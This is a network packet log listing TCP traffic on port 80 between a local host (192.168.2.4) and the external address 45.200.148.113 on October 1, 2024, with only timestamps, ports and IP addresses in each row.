Oct 1, 2024 07:51:15.668294907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668306112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668308020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.668315887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668328047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668338060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668353081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668354988 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.668371916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.668379068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.668406010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.731532097 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.736356020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.904872894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.904923916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.904936075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905016899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905042887 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905046940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905059099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905070066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905090094 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905119896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905249119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905261040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905272007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905283928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905294895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905297995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905306101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905323029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905345917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905517101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905529022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905539036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905550003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905565977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905591011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905605078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905617952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905628920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905639887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905644894 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905649900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905662060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905673027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.905680895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.905718088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906179905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906191111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906203032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906213999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906224012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906229973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906235933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906245947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906254053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906258106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906281948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906302929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906469107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906513929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906593084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906605005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906615973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906626940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906636953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906645060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906647921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906661034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.906677961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906688929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.906719923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907095909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907109022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907119036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907129049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907140970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907145977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907151937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907165051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907174110 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907175064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907186031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907193899 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907196045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907207012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907217026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907217026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907227993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907236099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907263994 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907764912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907776117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907785892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907797098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907809019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907814980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907828093 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907835960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907846928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907846928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907857895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907869101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907877922 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907879114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907896042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907906055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907906055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907917976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907922983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907928944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907946110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907957077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907957077 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.907968044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907979012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.907989025 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908011913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908035040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908746004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908757925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908767939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908778906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908788919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908797026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908801079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908811092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908822060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908823967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908833027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908843994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908845901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908854961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908864975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908865929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908876896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908890009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908900023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908906937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908917904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908926964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908927917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908938885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.908946037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.908973932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.909729958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909743071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909754038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909765005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909774065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909785032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909794092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909795046 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.909806013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909813881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.909816980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909827948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909835100 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.909837961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909852028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909862995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909868002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.909873962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909883976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909893990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.909894943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909905910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909917116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909923077 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.909928083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.909944057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.909965992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.910593987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.910605907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.910615921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.910626888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.910638094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.910640001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.910648108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.910659075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.910670042 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.910671949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.910696983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.910717010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993397951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993413925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993423939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993484974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993496895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993546009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993578911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993603945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993616104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993627071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993643045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993674994 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993735075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993747950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993774891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993802071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993900061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993911982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993922949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993933916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993938923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993946075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993957043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.993959904 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.993992090 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994116068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994127989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994138002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994148016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994154930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994159937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994188070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994214058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994386911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994399071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994409084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994420052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994431019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994431019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994458914 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994472027 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994649887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994663000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994674921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994687080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994688988 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994709015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994755983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994891882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994903088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994914055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994924068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994930029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994934082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994945049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994949102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.994956017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994966030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.994981050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995001078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995363951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995373964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995392084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995402098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995409012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995413065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995424032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995426893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995434999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995445013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995455027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995457888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995465994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995476961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995484114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995507956 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995809078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995819092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995847940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995874882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995944977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995956898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995968103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995978117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.995982885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.995989084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996000051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996001005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996010065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996021986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996032000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996032000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996043921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996052027 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996053934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996063948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996113062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996139050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996571064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996582985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996593952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996603966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996613026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996614933 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996640921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996658087 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996818066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996829987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996840000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996850967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996860027 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996860981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996872902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996882915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996885061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996918917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996952057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996963024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996973991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996984959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.996989965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.996994972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997004986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997014999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997018099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.997025013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997030020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997035027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997051954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.997070074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.997859001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997870922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997880936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997890949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997900963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997915983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997916937 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.997926950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997937918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997944117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.997948885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997958899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997968912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997972012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.997980118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997989893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.997997999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.998001099 CEST	80	49732	45.200.148.113	192.168.2.4
